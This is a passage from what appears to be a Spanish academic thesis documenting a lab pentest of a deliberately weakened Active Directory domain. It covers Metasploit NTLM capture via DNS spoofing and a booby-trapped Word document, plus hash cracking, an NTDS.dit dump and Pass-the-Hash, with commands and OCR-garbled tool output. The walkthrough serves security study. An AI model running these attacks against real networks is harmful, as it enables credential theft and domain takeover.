por lo que se ha instalado el gestor de ventanas bspwm, lo que ayudarad con la

organizacién de los ataques.
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Maquina Windows Server 2019: Puesto que esta maquina actuard como controlador
de dominio, su configuracién serd clave para conseguir un entorno vulnerable donde

poder realizar diferentes ataques.

Primeramente, e inmediatamente después de haber creado el dominio de Active
Directory, deshabilitaremos el software antivirus y antispyware que viene instalado por
defecto en todos los sistemas Windows posteriores a Windows 7 denominado

Microsoft Defender mediante el siguiente comando en PowerShell:

Uninstall-WindowsFeature -Name Windows-Defender

Donde el pardmetro “-name” hace referencia al nombre del servicio que queremos
desinstalar. Acto seguido, procederemos a reiniciar el servidor para que se apliquen
todos los cambios correctamente. Después, vamos a deshabilitar aquellas directivas de
seguridad que firman las comunicaciones dirigidas hacia el protocolo de archivos
compartidos de Windows para sistemas Unix, denominado Samba (SMB), para que asi
los ataques que se realicen mas adelante resulten totalmente efectivos, ya que algunos
de los objetivos de este proyecto, como se comentd en el capitulo 3, es mejorar y
potenciar los conocimientos en seguridad ofensiva, asi como reforzar las habilidades

en pentesting y hacking ético. Por tanto, para deshabilitar estas directivas:

gpmc.msc - Bosque: awrscompany.local - Dominios -
awrscompany.local — Default Domain Policy - Editar -
Configuracién del equipo — Directivas - Configuracidén de
Windows — Configuracién de seguridad - Directivas Locales -

Opciones de seguridad

Una vez en las opciones de seguridad deshabilitaremos las directivas denominadas:

Cliente de redes de Microsoft: firmar digitalmente las

comunicaciones (si el servidor lo permite)
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Cliente de redes de Microsoft: firmar digitalmente las

comunicaciones (siempre)

Tras realizar estos cambios, vamos a generar un ticket TGS de Kerberos, que va a ir
asociado a un SPN, para el usuario “awrs.batcprocess”. Gracias a este ticket, mas
adelante podremos poner en practica varios ataques contra Kerberos. El comando que

vamos a ejecutar en la consola cmd.exe para generar este ticket es:

setspn -a

DC-AwrsCompany/awrs.batchprocess.awrscompany.local:58097

awrscompany\awrs.batchprocess

SetSPN se trata de la aplicacién que se utiliza para administrar SPN. Mediante el

" 4

pardametro “-a” registramos un servicio concreto en una determinada maquina
asociado a un determinado puerto, en este caso vamos a registrar un servicio que
utiliza el nombre del usuario “awrs.batchprocess” en el puerto 58097 dentro del

controlador de dominio y asociado a awrscompany.local.

Ademas, también haremos que el usuario “admin.it” no requiera de pre-autenticacion

al generar el mensaje AS_REQ, para ello:

Usuarios y equipos de Active Directory — Users — AdminIT -
Propiedades — Cuenta - Opciones de cuenta - No pedir la

autenticacién Kerberos previa

Maquinas Windows 7 y Windows 10: Estas maquinas seran los clientes que se
conectaran con el dominio de Active Directory, por tanto, lo primero que tendremos
que realizar en ellas es editar su configuracién de red para que su servidor DNS

primario sea el controlador de dominio, para ello:
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Panel de control — Ver el estado y las tareas de red — EthernetO
— Propiedades — Protocolo de Internet versién 4 - Servidor DNS

preferido: 192.168.200.129

Acto seguido vamos a deshabilitar tanto el cortafuegos de Windows como todas

aquellas caracteristicas presentes en Windows Defender (para el caso de Windows 10).

Una vez hemos configurado correctamente todas las maquinas, para que se convierta en un
entorno vulnerable, podremos comenzar a realizar los diferentes ataques. Aunque se hayan
deshabilitado las medidas de proteccién y se hayan realizado configuraciones inseguras, este
entorno de Active Directory no dista demasiado de un entorno empresarial que podriamos

encontrar en la actualidad.

4.3. Atagues sobre el entorno de Active Directory vulnerable

Tras haber preparado y configurado correctamente el laboratorio de pruebas que contiene el
entorno de Active Directory vulnerable, vamos a comenzar a realizar una serie de ataques

como si de una auditoria técnica de pentesting se tratase.

Los ataques que vamos a realizar se centraran sobre todo en protocolos de autenticacidn que
anteriormente hemos detallado, tales como NTLM y Kerberos, pero también es de vital
importancia realizar reconocimientos a nivel de Active Directory que nos sirvan de ayuda para

encontrar nuevos vectores de ataques para llegar a comprometer todo el dominio.

Finalmente, se trataran algunos conceptos sobre elevaciéon de privilegios en sistemas
Windows, conceptos que resultan fundamentales en auditorias técnicas, y que nuevamente
ponen de manifiesto que, ante la ausencia de vulnerabilidades, tan solo una mala
configuracion es mds que suficiente para que un atacante encuentre debilidades que puede

aprovechar.
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= Fingerprinting sobre las maquinas

Antes de comenzar con los diferentes ataques que vamos a desplegar, merece la pena realizar
un reconocimiento activo, o también denominado fingerprinting, como se ha comentado
anteriormente en el capitulo 2, para tratar de averiguar qué puertos y que servicios asociados
a dichos puertos estdn disponibles en las diferentes maquinas Windows, ya que en este caso

sabemos cudles son sus direcciones IP.

Para realizar esta tarea de reconocimiento activo, se va a utilizar la herramienta NMAP,

primeramente, escaneando al controlador de dominio mediante el siguiente comando:

nmap -sS -sV -p- --open --min-rate 5000 -n -v 192.168.200.129

Mediante el comando anterior le he indicado a la herramienta que realice un escaneo tipo
TCP SYN, el cual resulta muy efectivo y silencioso (-sS), ademas que active la deteccién de
versiones de los servicios que estan ejecutando los puertos (-sV). Queremos que nos escanee
todos los puertos de la maquina, es decir, los 65535 puertos (-p—), como atacante solo me
interesan aquellos puertos que se encuentren abiertos (--open), ademds para
proporcionarle mas versatilidad al reconocimiento quiero que emita no menos de 5000
paquetes por segundo (--min-rate 5000). No quiero que aplique resolucién DNS (-n) y a
medida que vaya descubriendo puertos quiero que me los vaya mostrando (-v). Mediante la
Figura 11 y la Figura 12 es posible observar los resultados que la herramienta NMAP ha

reportado.
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Figura 11. Fingerprinting sobre el controlador de dominio usando NMAP (19 parte)

Figura 12. Fingerprinting sobre el controlador de dominio usando NMAP (29 parte)
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Los puertos que mas me llaman la atenciéon como atacante son:

Puerto 88: Servicio de autenticacion de Kerberos.

e Puerto 139: Protocolo NetBIOS que se utiliza para la comunicacién y transmisién de

informacién entre mdaquinas, o aplicaciones, normalmente a través de Samba (SMB).

e Puerto 389: Protocolo LDAP de Active Directory.

e Puerto 445: Protocolo Samba (SMB).

e Puerto 5985: Servicio de administraciéon remota de Windows (WinRM).

Ademas, hemos averiguado informacion relevante como el nombre del dominio, que en este
caso es awrscompany.local. Por tanto, vamos a modificar el fichero /etc/host de nuestra
maquina Kali para que asocie directamente la direccion IP 192.168.200.129 al nombre

awrscompany.local.

Como sabemos que el puerto 445 estd abierto podemos probar herramientas como SMBClient
o SMBMap [38] haciendo uso de un “Null Session”, es decir, intentar listar si existe algun
recurso compartido a nivel de red, sin proporcionar credenciales validas, que nos sirva de
utilidad para intentar comprometer algun usuario del dominio. No obstante, en esta ocasion,

esto ultimo no nos devuelve ningun resultado.

Seguidamente vamos a realizar una nueva tarea de reconocimiento, es este caso, sobre los
clientes Windows 7 y Windows 10, utilizando el comando que hemos ejecutado
anteriormente, para ver que puertos y que servicios en dichos puertos estan ejecutando estos

clientes.
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Q® ~/ActiveDirectory
sV -p- --open min-rate 5000 -n -v 192.168.200.
Starting Nmap 7.91 ( https:// ).org ) at 2021-06-04 20:24 CEST
Loaded 45 scripts for
ating ARP P*"q 5(&
canning 192.1
comp AR 1 i::ﬁ at 2 0.05s elapsed (1 total hosts)
tiating
Scanning 192‘168.=
Discovered open
Discovered open poxt 'tcp on 13/ b
Discovered open port 139/tcp on 192.1
Discovered open port 49665/tcp or 19;,
\ n port £ /tcp on 192.
port 49664/tcp on 192.
red open port 49669/tcp 192.168.200.130
ered open port 690/tcp on 192.168.200.130
"ed open port 49 Cp on 192.168.200.130
vered open port JO4Oftcp on 192.168.200.130
port 49688/tcp on 192.168.200.130
Discovered open port 49668/tcp on ]
Completed SYN Stealth Scan a 2 .44s elapsed (65535 total ports)

nmap -sS -sV

Initiating Serv scal

anning 12 services on 192. 16H 200.130

ats: 0:00:19 elapsed; 0 hosts completed (1 up), 1 undergoing

g: About 0.00
Timing: About 33.33% C: 20:27 (0:01:46 remaining

‘ vice scan ﬁt 70'77, 1:6 2 elapsed (12 services on
NSE: "ipt scanning 8.200.130.
Initia

Completed | at 2 7, 7.01s elapsed

elapsed

200.130

Windo
Wir

Microsoft Wi
Microsoft |

00:0C
0S:

Figura 14. Fingerprinting sobre la mdquina Windows 10 usando NMAP (29 parte)
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Figura 15. Fingerprinting sobre la mdquina Windows 7 usando NMAP (19 parte)

Figura 16. Fingerprinting sobre la mdquina Windows 7 usando NMAP (29 parte)
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Mediante la Figura 13, Figura 14, Figura 15 y Figura 16, es posible observar los resultados que
la herramienta NMAP ha reportado. En dicho reporte, tal y como cabia esperar, no

encontramos informacion relevante.

Para finalizar el reconocimiento activo, existe una herramienta denominada CrackMapExec
[39]. Se trata de una herramienta de post-explotacidn desarrollada en Python, que se
caracteriza por la capacidad de realizar movimientos laterales en una red local, no obstante,
también es capaz de realizar numerosas acciones que iremos viendo mas adelante en ciertos
tipos de ataques. Ademas, CrackMapExec puede hacer uso de protocolos como Samba (SMB),
WinRM o HTTP, entre otros, por lo tanto, otro reconocimiento de las maquinas activas dentro
de un determinado segmento de red se puede realizar con esta herramienta a través de

Samba (SMB).

crackmapexec smb 192.168.200.0/24

En el comando anterior le hemos especificado a la herramienta que realice un reconocimiento
del segmento de red 192.168.200.0/24 para averiguar las maquinas activas. Mediante la
Figura 17, es posible observar como la herramienta ha reportado las tres maquinas que estdn

activas junto con informacion sobre cada una de ellas.

Figura 17. Fingerprinting usando CrackMapExec

4.3.1. Ataque NTLM Relay

Un ataque NTLM Relay [40] forma parte de la familia de ataques Relay que existen. Los
ataques Relay, o ataques de retransmisidn en castellano, son unos tipos de ataques donde el
atacante realiza un Man-In-The-Middle (MITM) y trata de interceptar las comunicaciones de

la victima con el objetivo de manipularlas y obtener algun tipo de beneficio, como por ejemplo
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hacerse pasar por la victima. Por tanto, un ataque NTLM Relay se basa en obtener la
autenticacion NTLM de la victima para asi enviar dicha autenticacion y hacerse pasar por la

victima para conseguir acceso.

Para realizar el ataque, un atacante se coloca en medio de la conexidn establecida entre la
victima y el servidor, esperando a recibir peticiones de la victima que le sean de utilidad en el
servidor. Gracias a la Figura 18, podemos ver graficamente las fases de las que se componen

este ataque NTLM Relay.

Peticién de conexion Reenvio de peticion de conexion

® > @

Reenvio del desafio NTLM

()

Desafio NTLM

e

L ]

Reenvio del desafio cifrado con

Envio del desafio cifrado con sus

~ ’/,/’
. o credenciales las credenciales de la victima
Cliente / Victima @ b Atacante M

Acceso denegado Acceso permitido

(1)

Figura 18. Diagrama de un ataque NTLM Relay

1m
i

Servidor

Tras tener una primera impresion del ataqgue NTLM Relay, merece la pena comentar que tipo
de autenticacién NTLM podemos capturar con este ataque, ya que existe mucha confusion

entre los hashes NTLM que podemos encontrar:

* Hash NTLM: Estos hashes se almacenan en la base de datos local de credenciales
denominada Security Account Manager (SAM) de una maquina concreta, y/o en la base
de datos de credenciales del controlador de dominio denominada NTDS.dit. La
representacion de estos hashes dentro de las dos bases de datos antes mencionadas

es:

USUARTIO:ID:HASH TLM:HASH NT:::

usuariol:1105:42£f29043y123fa%c74£23606c6g522b0:7175%albb2web4
dad43e676d6b7190711
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* Hash Net-NTLMv2: Estos hashes se tratarian de la respuesta al desafio NTLM enviado
por el servidor para la autenticacién de un cliente, por lo que no se almacenan en

ninguna base de datos. La representacidn de estos hashes es:

admin: :N461iSNekpT:08cadbb7d7ea58ee:88dcbed446168966a153a00649
58dac6:5¢c7830315¢c7830310000000000000b45¢c67103d07d7b9%5acdl2ffa
11230e0000000052920b85£78d013¢c31cdb3b92£5d765c783030

Desde la perspectiva de un atacante, resulta fundamental diferenciar estos dos tipos de
hashes, ya que no se pueden realizar las mismas acciones con ambos hashes. Cuando se
captura un hash NTLM es posible realizar la técnica denominada Pass-the-Hash, que veremos
en que consiste mas adelante, sin embargo, por el contrario, cuando se captura un hash Net-
NTLMv2 no es posible realizar esta misma técnica, ya que lo mas habitual es crackear el hash

para obtener la contrasefia en texto plano.

= Ataque NTLM Relay utilizando Metasploit

La primera de las pruebas que vamos a desplegar serda mediante un ataque MITM, en la que
realizaremos un envenenamiento de las tablas ARP de la victima (ARP Poisoning), y una
suplantacion de identidad del servidor DNS (DNS Spoofing). Ademads, utilizaremos la famosa
herramienta de pentesting Mestasploit para capturar los hashes NTLM a través del protocolo

HTTP.

Para desplegar el ataque MITM utilizaremos la herramienta Ettercap [41], esta herramienta
se trata de un sniffer para redes locales (LAN). Cuando comenzamos a escanear el segmento
de red 192.168.200/24 en busca de maquinas activas, la herramienta nos reporta 5 maquinas
activas, 3 de las cuales son los objetivos que nos interesan como atacantes, es decir, el
controlador de dominio y los clientes Windows 7 y Windows 10. Acto seguido realizamos un
envenenamiento de sus tablas ARP, para ello tendremos que seleccionar esta opciéon (ARP

Poisoning) dentro de la coleccion de ataques MITM, como se muestra en la Figura 19.
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Después vamos a realizar una suplantacién del servidor DNS, para que asi, cuando las
maquinas victimas consulten un dominio especifico, sean redirigidos a un servidor web que
controlaremos nosotros como atacantes. El dominio al que queremos suplantar serd Google,
ya que es sabido que numerosos navegadores tienen como pdgina principal este dominio,
ademas de ser el motor de busqueda mas utilizado por los usuarios. Por consiguiente, para
poder realizar esta suplantacién, vamos a modificar el fichero /etc/ettercap/etter.dns

afadiendo la siguiente linea:

En /etc/ettercap/etter.dns

*google.es A 192.168.200.128

La linea anterior indica que cualquier peticién hacia el dominio de Google Espaia, sea

redirigida hacia nuestra maquina de atacante.

10.129 00:0C
)0.130 00
)0.131 00

Cancel MITM Attack: ARP Poisoning

Optional parameters

fied, not starting up!

Figura 19. Ataque MITM — ARP Poisoning
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m Q B Ettercap

Host List x Plugins x

ETL T Version Info
arp_cop 1.1 Report suspicious ARP activity
autoadd 1.2 Automatically add new victims in the target range
chk_poison 1.1 Check if the poisoning had success
dns_spoof 1.3 Sends spoofed dns replies
dos_attack 1.0 Run a d.o.s. attack against an IP address
dummy 3.0 A plugin template (for developers)

1.0 Search connections on a switched LAN

2.0 Try to find ettercap activity

1.0 Search an unused IP address in the subnet

1.6 Fingerprint a remote host
finger_submit 1.0 Submit a fingerprint to ettercap’s website
fraggle_attack 1.0 Run a fraggle attack against hosts of target one
gre_relay 1.1 Tunnel broker for redirected GRE tunnels
gw_discover 1.0 Try to find the LAN gateway
isolate 1.0 Isolate an host from the lan
krb5_downgrade 1.0 Downgrades Kerberos V5 security by modifying AS-REQ packets
link_type 1.0 Check the link type (hub/switch)
mdns_spoof 1.0 Sends spoofed mDNS replies

LI Crandr cnanf RDME ranline £ cande €MD challanmne with coctam challanaa

il ~F
5 hosts to the hosts list...

ARP poisoning victims:
GROUP 1 : ANY (all the hosts in the list)

GROUP 2 : ANY (all the hosts in the list)

Figura 20. Ataque MITM — DNS Spoofing

Por ultimo y tal como se muestra en la Figura 20, tendremos que habilitar el médulo de
suplantacion de DNS del que dispone esta herramienta. Para ello, seleccionaremos este

modulo dentro de la colecciéon de mdédulos de la herramienta (Plugins - Manage plugins).

Tras la correcta configuraciéon de Ettercap, ya se estara realizando un ataque MITM hacia todas
las maquinas victimas. Una rapida comprobacién de que el envenenamiento ARP se esta
realizando con éxito es visualizar las tablas ARP en todas las mdaquinas victimas. En la Figura
21 es posible observar como todas las direcciones IP del segmento de red 192.168.200.0/24
tienen la misma direccidon MAC, la cual pertenece a la direccién MAC de la maquina atacante.
Este hecho es un claro indicio de que se esta realizando un ataque MITM sobre la red que esta

afectando a equipos criticos como el controlador de dominio.
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Administrador: C\Windows\system32\cmd.exe

129 --- Oxa
Direccion fisica Tipo
( : dinamico

dinamico

dinamico
dinamico
dinamico
estatico
estatico
estatico

| gl g | gl g | gl g | gl g
255255255255

Figura 21. Envenenamiento de las tablas ARP en el controlador de dominio

Seguidamente, vamos a utilizar el médulo http_ntIm de Metasploit mediante el siguiente

comando:

use auxiliary/server/capture/http ntlm

msf6 auxiliary( ) > options
Module options (auxiliary/server/capture/http_ntlm):
Name Current Setting Required Description

CAINPWFILE n The local filename to store the hashes in Cain&Abel format

CHALLENGE ~ 1122334455667788 The 8 byte challenge

JOHNPWFILE /root/hash The prefix to the local filename to store the hashes in JOHN format

SRVHOST 192.168.200.128 The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT The local port to listen on.

ssL Negotiate SSL for incoming connections

SSLCert Path to a custom SSL certificate (default is randomly generated)
URIPATH The URI to use for this exploit (default is random)

Auxiliary action:

Name Description

Figura 22. Opciones del médulo http_ntlm de Metasploit

En la Figura 22 se pueden observar los parametros necesarios para el correcto funcionamiento
del médulo. Los parametros SRVHOST y SRVPORT hacen referencia a la direcciéon IP y el puerto

donde queremos que se ejecute este servidor web malicioso, en este caso corresponden a
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nuestra direccion IP de atacante, como es 192.168.200.128, y al puerto 80 HTTP. También
resulta necesario especificar el pardmetro JOHNPWFILE, que hace referencia a la ruta donde
gueremos que se guarde, en formato John The Ripper, los hashes capturados. Por ultimo,
podemos observar el parametro CHALLENGE, este parametro se encuentra con el valor por
defecto “1122334455667788” (16 bytes), un valor con falta de aleatoriedad que se enviara

como reto NTLM a la victima para que lo cifre con su contrasefia y poder crackearla.

msf6 auxiliary( ) > exploit
Auxiliary module running as background job 5.

Using URL: http://192.168.200.128:80/

Server started.
msf6 auxiliary( ) > 2021-06-06 13:37:20 +0200
NTLMv2 Response Captured from PC2-W7
DOMAIN: AWRSCOMPANY USER: admin.it
LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled
NTHASH:85c2e966273210aa704cf1e5a629c034 NT_CLIENT_CHALLENGE:01010000000000003c0ald4ec85ad701e30209ed1e65109f0000000002000c0044004F004d004100490042000000000000000000

2021-06-06 13:38:09 +0200
NTLMv2 Response Captured from PC1-W10
DOMAIN: AWRSCOMPANY USER: miles.morales
LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled
NTHASH:e@5ccb8bfa8c2ac24512719dd913bcd2 NT_CLIENT_CHALLENGE:0101000000000000ecd3b36bc85ad70104e12b9132a414ca0000000002000c0044004f004d004100490042000000000000000000

2021-06-06 13:38:09 +0200
NTLMv2 Response Captured from PC1-W10
DOMAIN: AWRSCOMPANY USER: miles.morales
LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled
NTHASH: 1548a458c3a2743f1e6fe4f30e82b764 NT_CLIENT CHALLENGE:01010000000000005ccdd56bc85ad701f489c3a15faab9c30000000002000c0044004f004d004100490042000000000000000000

2021-06-06 13:39:13 +0200
NTLMv2 Response Captured from DC-AWRSCOMPANY
DOMAIN: AWRSCOMPANY USER: Administrador
LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled
NTHASH:01157317a8df2bda3da27fd7f53fc23f NT_CLIENT CHALLENGE:01010000000000000671d391c85ad701abf547e58ae7e5c20000000002000c0044004f004d004100490042000000000000000000

2021-06-06 13:39:14 +0200
NTLMv2 Response Captured from DC-AWRSCOMPANY
DOMAIN: AWRSCOMPANY USER: Administrador
LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled
NTHASH:ed1d411c97688c770c52b9b16c7cb52a NT_CLIENT_CHALLENGE:0101000000000000c5050T92c85ad7018745813542ee86ad0000000002000c0044004T004d004100490042000000000000000000

Figura 23. Ejecucion del mddulo http_ntim de Metasploit

En la Figura 23 se puede observar como se han capturado varios hashes de varios usuarios,
entre ellos el administrador del controlador de dominio. Lo que ha ocurrido tras la ejecucién
del médulo es que Metasploit ha lanzado un servidor web. Gracias al ataque MITM, cuando
los clientes accedian al dominio de Google Espafia, estos eran redirigidos al servidor levantado
por Metasploit, el cual les pedia sus credenciales de acceso, en ese instante, y de forma
totalmente trasparente al usuario, se estd enviando una peticién de autenticacion al servidor
malicioso. Este servidor malicioso, le envia el reto NTLM anteriormente comentado, y el
cliente devuelve dicho reto cifrado con sus credenciales de acceso. Tal y como hemos
comentado antes, la falta de aleatoriedad en el reto supone que atacante sea capaz de
crackear su contrasefia. Por lo tanto, en este ataque se esta realizando una autenticacién
NTLM, como se mostraba anteriormente en la Figura 6, de los clientes frente al atacante y no

frente al controlador de dominio.
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I@ http://www.google.es/ D N ﬁ X I () Waiting for google.es N
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@ Windows Security @ - mnali
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Connecting to winwgoogle.ss. Inicie sesion para obtener acceso a este sitio

e EE— Autorizacion requerida por http://www.google.es
‘ admin.it |
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Domain: AWRSCOMPANY
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D Recordar mis credenciales

Aceptar Cancelar

Figura 24. Autenticacion de los clientes contra el servidor malicioso

En la Figura 24 podemos observar el proceso de autenticacidn de los clientes cuando
pretendian acceder a Google, donde se les exigia sus credenciales de usuarios del dominio
para poder acceder. Esta autenticacidn maliciosa resulta en muchos casos una autenticacion
gue no levanta sospechas por parte de los usuarios, ya que, en entornos empresariales, es
muy frecuente encontrarse recursos, sitios webs, etc., que presentan algun tipo de restriccién

donde es necesario autenticarse para poder acceder a él.

Una vez se han capturado los hashes Net-NTLMv2 de los usuarios del dominio, se pretende
romper, mediante un ataque de fuerza bruta basado en diccionario, estos hashes capturados.
Para realizar este ataque de cracking de contrasefias, se pueden utilizar varias herramientas,
sin embargo, en esta ocasidn se ha utilizado la herramienta John The Ripper, ya que, como
hemos comentado anteriormente, el médulo de Metasploit almacenaba estos hashes en un
formato entendible para John The Ripper. El diccionario de contraseiias a utilizar en el ataque

de cracking es rockyou.txt, el cual almacena mas de 10 millones de contrasefias en texto plano.
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Mediante la Figura 25 es posible observar, por un lado, los hashes Net-NTLMv2 capturados y
almacenados por Metasploit y, por otro lado, el ataque de fuerza bruta basado en diccionario
realizado contra estos hashes capturados. Mediante el parametro --wordlist le indicamos a la
herramienta John The Ripper la ruta absoluta del diccionario, y mediante el parametro --
format le indicamos el formato de hash que queremos crackear. En esta ocasién se han podido
obtener las credenciales del usuario “miles.morales” y “admin.it”, pero no se ha podido

obtener las credenciales del usuario “Administrador”.

34455667788 : e@5cch8bfa8c2ac24512719dd913bcd2:0101000000000000ecd3b36bc85ad70104e12b9f32a414ca0000000002000c0044004f004d004100490042000000000000000000

[RSCOMPANY 55667788:1548a458¢ 743f1e6fe4f30e82b :01010000000000005ccdd56bc d701f489c ab9c30000000 c0044004f004d00410049004c000000000000000000

IRSCOMPANY 34455667788:01157317a8df2bda3da27fd7f53fc23:01010000000000000671d391c85ad701abf547e5 7e5c20000000002000c0044004f004d004100490042000000000000000000

Administrado RSCOMPANY 34455667788:ed1d411c97688c770c52b9b16c7cb52a:0101000000000000c505092c85ad7018f458135 2d0000000002000c0044004f004d004100490042000000000000000000

john --wordlist=/usr/share/wordlists/rockyou.txt --format=netntlmv2 hash_netntlmv2

Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

(miles.morales)

(miles.morales)

(

:00:00:20 DONE (2021-06-06 13:41) 0.1474g/s 705199p/s 2981Kc/s 2981KC/s !)(OPPQR..*7iVamos!

Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed

Figura 25. Cracking de hashes Net-NTLMv2 con John The Ripper (19 parte)

La segunda de las pruebas que vamos a realizar se trata de un ataque NTLM Relay a través del
protocolo SMB, a diferencia del anterior ataque donde se realizaba un atague NTLM Relay a
través del protocolo HTTP. Este ataque es conocido como SMB Relay [42], y aunque existen
numerosas formas de desplegar este ataque, en esta ocasion se realizard mediante un
documento de Microsoft Word (.docx) malicioso. Nuevamente, utilizaremos uno de los

madulos de Metasploit, denominado word_unc_injector, mediante el siguiente comando:

use auxiliary/docx/word unc injector

Este mddulo, modifica un documento .docx de forma que, al abrir el documento, de manera
totalmente transparente para el usuario, iniciard una autenticacién NTLM frente a un servidor

SMB remoto.
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Figura 26. Opciones y ejecucion del médulo word_unc_injector de Metasploit

En la Figura 26 se observan los pardmetros necesarios para el correcto funcionamiento de este
modulo. El parametro LHOST hace referencia a la direccién IP del servidor SMB remoto donde,
al abrir el documento, establecerd la conexién y autenticaciéon NTLM, que serd nuestra
maquina de atacante, 192.168.200.128. Con el objetivo de que este ataque se asemeje a la
realidad, gracias al pardmetro SOURCE vamos a seleccionar un documento que se podria
encontrar en cualquier entorno empresarial, como es un calendario de festividades,
precisamente este mismo documento servird como plantilla para crear un documento
infectado malicioso, cuyo nombre podremos especificarlo con el pardmetro FILENAME. Tras

la ejecucién del médulo, el documento infectado se guardara en la ruta */.msf4/local.

Posteriormente, tan solo tendremos que levantar un servidor SMB para poder capturar los
hashes Net-NTLMv2 de los usuarios que ejecuten el documento infectado. Para ello,

utilizaremos el médulo smb de Metasploit mediante el siguiente comando:

use auxiliary/server/capture/smb

Figura 27. Opciones del modulo smb de Metasploit
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Al igual que en la prueba anterior, los pardmetros SRVHOST y SRVPORT hacen referencia a la
direccién IP y el puerto donde queremos que se ejecute este servidor SMB malicioso, es decir,
a nuestra direccion IP de atacante, como el 192.168.200.128, y al puerto 445 de SMB. De igual
forma, es necesario especificar el pardmetro JOHNPWFILE, que hace referencia a la ruta donde
gueremos que se guarde, en formato John The Ripper, los hashes capturados, y ademas
también podemos observar que el parametro CHALLENGE cuenta con el valor por defecto
“1122334455667788” (16 bytes), un valor, como hemos comentado anteriormente, con falta

de aleatoriedad.

Figura 28. Ejecucion del médulo smb de Metasploit

En la Figura 28 se puede observar como se han capturado los hashes Net-NTLMv2 de los
usuarios “leyre.garcia” y “awrs.batchprocess”. Tras la ejecuciéon del mdédulo, Metasploit ha
levantado un servidor SMB en el puerto 445 de nuestra maquina de atacante. El documento

infectado que hemos generado anteriormente ha sido abierto por estos dos usuarios, de
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forma que se ha iniciado la autenticacion NTLM, como la autenticacion mostrada en la Figura

6, frente a nuestro servidor SMB malicioso.

Resulta interesante observar lo que ocurre desde el punto de vista de la victima, al abrir el
documento infectado, Microsoft Office Word realiza, de manera automatica y transparente al
usuario, una solicitud de un recurso SMB hacia nuestra maquina de atacante, enviando asi una
peticiéon de autenticacion NTLM al atacante. Una vez finalizada la peticién, se visualiza el

contenido del documento sin realizar cualquier otra accion.
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Figura 29. Ejecucion del documento de Word infectado

Siguiendo las mismas operaciones que hemos realizado en la anterior prueba, mediante la
herramienta John The Ripper, vamos a romper, mediante un ataque de fuerza bruta basado
en diccionario, estos hashes capturados. El diccionario que se utilizard sera el mismo que

hemos utilizado anteriormente, es decir, rockyou.txt, el cual contiene mas de 10 millones de
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contrasefias en texto claro. En la Figura 30, se muestra cdmo se han crackeado los hashes

capturados consiguiendo sus contrasenas en texto claro.

ou.txt --format=netntimv2 sh_netntlmv2

(netntlmv2, NTLMv2 C/R [MD4 HMAC

ey for status

Figura 30. Cracking de hashes Net-NTLMv2 con John The Ripper (29 parte)

En entornos empresariales reales, es frecuente la apariciéon de ataques de phishing en el
interior de la organizacidn, cuyos objetivos son los empleados. En estos correos electrénicos
malintencionados, se suelen encontrar documentos infectados que al ejecutarlos realizan
todo tipo de acciones maliciosas, en este caso concreto, peticiones a un servidor SMB remoto
para obtener el hash NetNTLMv2 de los usuarios. Por desgracia, existen usuarios que ejecutan
estos documentos infectados, sin apenas percatarse de que estdn realizando acciones
maliciosas de manera transparente que pueden suponer un gran impacto dentro de una

organizacion.

= Alcance de los usuarios comprometidos

Después de haber realizado este primer atague NTLM Relay utilizando la herramienta
Metasploit, como atacantes, nos interesa saber los equipos que podemos llegar a
comprometer con las credenciales de los usuarios que hemos capturado en el ataque anterior.
De modo que se va a analizar cudl es el alcance que tendriamos con las credenciales de los

usuarios que hemos comprometido.
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Para realizar este analisis, vamos a asegurarnos, asi como a validar, que equipos somos
capaces de comprometer. Mediante la herramienta que hemos utilizado durante la fase de
fingerprinting, denominada CrackMapExec, la cual, como hemos comentado, se trata de una
herramienta de post-explotacidén capaz de realizar numerosas acciones. Vamos a realizar esta

validacién, mediante el siguiente comando:

crackmapexec smb 192.168.200.0/24 -u <USUARIO> -p <CONTRASERNA>

Donde <USUARIO> tomard los nombres de los diferentes usuarios y <CONTRASENA> tomara

los valores de las credenciales correspondientes al usuario.

Primero vamos a validar los usuarios que no son administradores del dominio, es decir,
“miles.morales”, “leyre.garcia” y “awrs.batchprocess”. En la Figura 31 podemos ver como
CrackMapExec nos reporta que ninguno de estos tres usuarios es administrador del dominio,
sin embargo, nos damos cuenta de que “leyre.garcia” es administradora del equipo Windows
10, y “awrs.batchprocess” es administrador de los equipos Windows 7 y Windows 10, ya que
cuando un usuario es administrador en una maquina, CrackMapExec nos muestra el mensaje
Pwned!. Esto es lo que se conoce entre los atacantes como “administradores derivados” de

equipos.

Figura 31. Validacion de usuarios que no son administradores del dominio con CrackMapExec
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Seguidamente vamos a validar el usuario que verdaderamente es administrador del dominio,

es decir, “admin.it”. En la Figura 32 podemos ver cdmo, esta vez CrackMapExec nos reporta

un mensaje de Pwned! en todos los equipos del dominio, incluido el controlador de dominio

Figura 32. Validacion de usuarios que son administradores del dominio con CrackMapExec

Por tanto, una accién critica que, como atacante podriamos realizar es dumpear la base de
datos NTDS.dit, es decir, realizar un volcado de la base de datos NTDS.dit, la cual contiene los
hashes NTLM de todos los usuarios del dominio de Active Directory, tal y como se explicd

anteriormente.

Figura 33. Volcado de la base de datos NTDS.dit con CrackMapExec

Durante el ataque anterior, se consiguid6 comprometer el hash Net-NTLMv2 pero

desgraciadamente no se pudo romper el hash y por tanto no se pudo obtener la contraseiia
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en texto claro. No obstante, gracias al volcado que hemos realizado en la Figura 33, tenemos
el hash NTLMv2 del usuario “Administrador”, por lo que, tal y como se comenté
anteriormente, con este hash es posible realizar la técnica que anteriormente se ha

mencionado, conocida como Pass-The-Hash [43].

Esta técnica permite a cualquier atacante autenticarse frente a una maquina y/o servicio
utilizando el hash NT en lugar de la contrasefia en texto plano, por lo que simplemente con Ia
obtencién de un hash NT, y mientras el usuario no cambie su contrasefia, un atacante podra

autenticarse frente a una maquina y/o servicio.

Cuando Microsoft implementd el protocolo NTLMv2, se llegd a pensar que esta técnica dejaria
de funcionar, sin embargo, esta técnica no solo no ha dejado de funcionar, sino que afecta a
numerosos protocolos de autenticacién, como puede ser Kerberos, entre otros. Es por ello
que Pass-The-Hash no puede ser concebida como una vulnerabilidad, sino como un error de
